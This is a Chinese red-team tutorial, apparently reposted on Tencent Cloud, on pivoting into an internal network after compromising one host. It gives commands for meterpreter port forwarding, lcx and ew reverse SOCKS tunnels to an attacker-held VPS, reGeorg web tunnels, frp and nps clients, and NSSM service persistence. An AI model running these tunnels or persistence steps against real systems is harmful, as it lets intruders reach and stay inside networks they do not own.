前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【红蓝对抗】内网代理转发

【红蓝对抗】内网代理转发

作者头像
鸿鹄实验室
发布2021-12-01 20:59:13
2K0
发布2021-12-01 20:59:13
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

0x01 背景前言

在平时的渗透测试过程中经常会用到端口转发,通过代理脚本将内网流量代到本地进行访问,方便下一步对内网进行横向渗透。
当拿下内网一台主机的控制权后,需要通过代理转发的方式进入内网,整理几种常见的内网代理转发方法。
本次以远程桌面连接来进行说明,介绍几种常用的连接方式。

0x02 正向代理及反向代理

0x02.1 正向代理

构造代理服务器,用户将请求发送到代理服务器,代理服务器将请求发送到服务器,服务器将信息发送到代理服务器,代理服务器再将信息发送到用户。

0x02.2 反向代理

用户将请求发送到反向代理服务器,反向代理服务器将请求发送到服务器,服务器将信息发送到反向代理服务器,返现代理服务器将信息发送用户,常见应用场景为企业网访问互联网。

0x03 socks协议

SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。Socks介于传输层与表示层之间,使用TCP协议传输。

0x04 转发工具使用

0x04.1 msf反弹木马

使用条件:服务器通外网,拥有自己的公网ip

msf是我进行内网渗透中用的最多的工具,它内置了很多强大的功能,用起来相当方便。

msf的meterpreter内置了端口转发功能,可以把内网的端口转发到本地。

portfwd add -l 5555 -p 3389 -r 172.16.86.153

转发目标主机的3389远程桌面服务端口到本地的8888,使用linux中的rdesktop连接本地的8888端口。

rdesktop 127.1.1.0:8888

msf内置了socks模块,在session基础上配置路由,调用即可使用,但是速度和稳定性都很差,不做详细介绍。

0x04.2 lcx.exe

使用条件:服务器通外网,拥有自己的公网ip

lcx是一个经典的端口转发工具,直接把3389转发到公网的vps上。

通过大马上传lcx.exe,执行系统命令,其中1.1.1.1是vps的公网ip。

lcx.exe -slave 1.1.1.1 9999 127.0.0.1 3389

因为我公网vps使用的是linux的系统,lcx对应linux的工具为portmap 。

p1为监听的端口,p2为转发到的端口。

./portmap -m 2 -p1 9999 -p2 33889

成功监听到转发出的3389端口。

直接使用远程桌面服务连接1.1.1.1:33889

0x04.3 基于web服务的socks5隧道

基于web服务的socks5隧道的优点是,在内网服务器不通外网的情况下也能正常使用。

常用的工具有:reGeorg,reDuh,Tunna和Proxifier。

本次只介绍reGeorg的具体用法。

选择对应脚本的tunnel上传到服务器。

访问上传文件,显示如下表示成功。

在reGeorg文件夹下执行reGeorgSocksProxy.py,-p为指定隧道的端口,-u为刚刚上传的tunnel文件地址。

python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php

打开Proxifier,更改为脚本指定的端口。

本地电脑成功通过socks5带进了目标主机的内网。(若失败,可能是某些防护检测到了异常流量,可采用reDuh)

本地电脑直接远程连接目标主机的内网ip。

冰蝎自带的socks代理原理相同,也是基于web服务的。

0x04.4 使用ew搭建socks5隧道

使用条件:目标主机通外网,拥有自己的公网ip

选择对应主机操作系统的执行文件。

目标主机为windows系统,选择上传ew_for_Win.exe文件。

公网vps使用ew_for_linux64文件。

首先在公网vps上执行:

./ew_for_linux64 -s rcsocks -l 10000 -e 11000

-l为Proxifier连接的端口,-e为目标主机和vps的通信端口。

然后在目标主机中执行:

ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000

socks5隧道建立成功,成功把自己的主机带进目标内网。

使用Proxifier,配置ip和连接端口。

连接远程桌面成功。

0x04.5 frp

传送门

使用条件:目标主机通外网,拥有自己的公网ip

首先需要在公网服务器搭建服务端,搭建方法参考:传送门

要注意的是,客户端和服务端的版本号要一致,否则无法正常使用。

对frpc.ini进行配置,为了保证搭建的隧道不对他人恶意利用,加入账户密码进行验证。

[socks5_proxy]
type = tcp
remote_port = 11000
plugin = socks5
plugin_user = xxx
plugin_passwd = xxx

上传frpc.exe和frpc.ini到目标服务器上,直接运行frpc.exe(在实战中可能会提示找不到配置文件,需要使用-c参数指定配置文件的路径frpc.exe -c 文件路径)

公网vps主机上运行frps。

配置Proxifier的ip和连接端口,输入设置的账户密码。

隧道建立成功,连接远程桌面。

对于多台目标主机同时搭建多条socks5隧道,需要更改frpc.ini中配置的名称和端口号,在重复的情况下会提示端口占用。

渗透结束后记得把frpc的进程杀死,不然会一直和frps建立连接。

tasklist
taskkill /pid 进程号  -t  -f

0x04.2 nps的使用及部署

0x04.2.1 搭建NPS(服务端)

下载地址:https://github.com/ehang-io/nps/releases在服务器上配置NPS服务端(linux、windows、macos)

0x04.2.2 搭建NPS(客户端)

下载地址:https://github.com/ehang-io/nps/releases客户端启用,填写vps地址、端口 npc -server=xxx.xxx.xxx.xxx:8024 -vkey=1234 -type=tcp

0x04.2.3 NPS使用手册

搭建好服务端NPS后,首先要创建好客户端信息。

设置socket5

0x04.2.4 NPS优点

1.可使用多个ket多个客户端 2.使用web界面较为简单,适合刚刚进入内网 3.有简单的流量加密

0x04.2.5 NPS使用

配置客户端

添加socks隧道

客户端设置 上传npc.exe到目标服务器上,根据提供连接信息,运行npc.exe

服务器控制器显示在线,转发成功通过proxifier代理。

类似的工具还有:sSocks,Termite等,不需要每种都掌握,有自己用的顺手的就行。

0x05 后门持久化

一般在网站服务的web服务关闭后,服务器重启后,大部门后门都会失效,这时需要用到系统服务封装工具。

以NSSM来进行示例,封装frpc为系统服务,建立持久的socks5隧道。

启动nssm图形化界面。

nssm install name

选择想要注册服务的exe应用。

设置服务的名字。直接点击install service,如下表示注册服务成功。

查看本地服务。

状态设置为启动,重启电脑进行测试,重启后frpc.exe自动运行,成功和frps连接。

删除服务。

nssm remove <servicename>
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-11-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x02 正向代理及反向代理
    • 0x02.1 正向代理
      • 0x02.2 反向代理
      • 0x03 socks协议
      • 0x04 转发工具使用
        • 0x04.1 msf反弹木马
          • 0x04.2 lcx.exe
            • 0x04.3 基于web服务的socks5隧道
              • 0x04.4 使用ew搭建socks5隧道
                • 0x04.5 frp
                  • 0x04.2 nps的使用及部署
                    • 0x04.2.1 搭建NPS(服务端)
                    • 0x04.2.2 搭建NPS(客户端)
                    • 0x04.2.3 NPS使用手册
                    • 0x04.2.4 NPS优点
                    • 0x04.2.5 NPS使用
                • 0x05 后门持久化
                相关产品与服务
                网站渗透测试
                网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档